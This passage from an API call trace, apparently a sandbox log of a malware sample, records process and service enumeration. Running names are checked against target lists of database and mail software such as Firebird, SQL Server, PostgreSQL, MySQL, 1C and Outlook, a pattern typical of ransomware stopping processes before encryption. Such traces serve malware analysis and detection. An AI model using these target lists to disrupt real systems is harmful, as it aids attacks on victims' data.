th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.506] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.506] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.506] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.506] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.507] lstrlenW (lpString="svchost.exe") returned 11 [0060.507] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0060.508] lstrlenW (lpString="LogonUI.exe") returned 11 [0060.508] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0060.509] CloseHandle (hObject=0x254) returned 1 [0060.509] Sleep (dwMilliseconds=0x1f4) [0061.206] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c530 [0061.206] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0061.206] GetLastError () returned 0xea [0061.206] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0061.206] EnumServicesStatusExW (in: hSCManager=0x3f8c530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0061.207] CloseServiceHandle (hSCObject=0x3f8c530) returned 1 [0061.207] lstrlenW (lpString="Appinfo") returned 7 [0061.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.207] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.208] lstrlenW (lpString="AudioSrv") returned 8 [0061.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.208] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.208] lstrlenW (lpString="BFE") returned 3 [0061.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.208] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.208] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.208] lstrlenW (lpString="CryptSvc") returned 8 [0061.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.208] lstrlenW (lpString="CscService") returned 10 [0061.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.208] lstrlenW (lpString="DcomLaunch") returned 10 [0061.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.209] lstrlenW (lpString="Dhcp") returned 4 [0061.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.209] lstrlenW (lpString="Dnscache") returned 8 [0061.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.209] lstrlenW (lpString="DPS") returned 3 [0061.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.209] lstrlenW (lpString="eventlog") returned 8 [0061.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.209] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.209] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.210] lstrlenW (lpString="EventSystem") returned 11 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.210] lstrlenW (lpString="gpsvc") returned 5 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0061.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.210] lstrlenW (lpString="iphlpsvc") returned 8 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.210] lstrlenW (lpString="LanmanServer") returned 12 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.210] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.210] lstrlenW (lpString="lmhosts") returned 7 [0061.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.211] lstrlenW (lpString="MMCSS") returned 5 [0061.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.211] lstrlenW (lpString="MpsSvc") returned 6 [0061.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.211] lstrlenW (lpString="Netman") returned 6 [0061.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.211] lstrlenW (lpString="netprofm") returned 8 [0061.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.211] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.211] lstrlenW (lpString="NlaSvc") returned 6 [0061.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.211] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.212] lstrlenW (lpString="nsi") returned 3 [0061.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.212] lstrlenW (lpString="PcaSvc") returned 6 [0061.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.212] lstrlenW (lpString="PlugPlay") returned 8 [0061.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.212] lstrlenW (lpString="Power") returned 5 [0061.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.212] lstrlenW (lpString="ProfSvc") returned 7 [0061.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.212] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.213] lstrlenW (lpString="RpcSs") returned 5 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.213] lstrlenW (lpString="SamSs") returned 5 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.213] lstrlenW (lpString="Schedule") returned 8 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.213] lstrlenW (lpString="SENS") returned 4 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.213] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.214] lstrlenW (lpString="Spooler") returned 7 [0061.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.214] lstrlenW (lpString="swprv") returned 5 [0061.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.214] lstrlenW (lpString="SysMain") returned 7 [0061.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.214] lstrlenW (lpString="Themes") returned 6 [0061.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.214] lstrlenW (lpString="TrkWks") returned 6 [0061.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.214] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.214] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.215] lstrlenW (lpString="UxSms") returned 5 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.215] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.215] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.215] lstrlenW (lpString="VSS") returned 3 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.215] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.215] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.215] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.215] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.215] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.215] lstrlenW (lpString="Winmgmt") returned 7 [0061.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.216] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.216] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.216] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0061.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0061.218] Process32FirstW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.219] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.219] lstrlenW (lpString="System") returned 6 [0061.220] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.220] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.220] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.220] lstrlenW (lpString="smss.exe") returned 8 [0061.220] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.220] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.221] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, 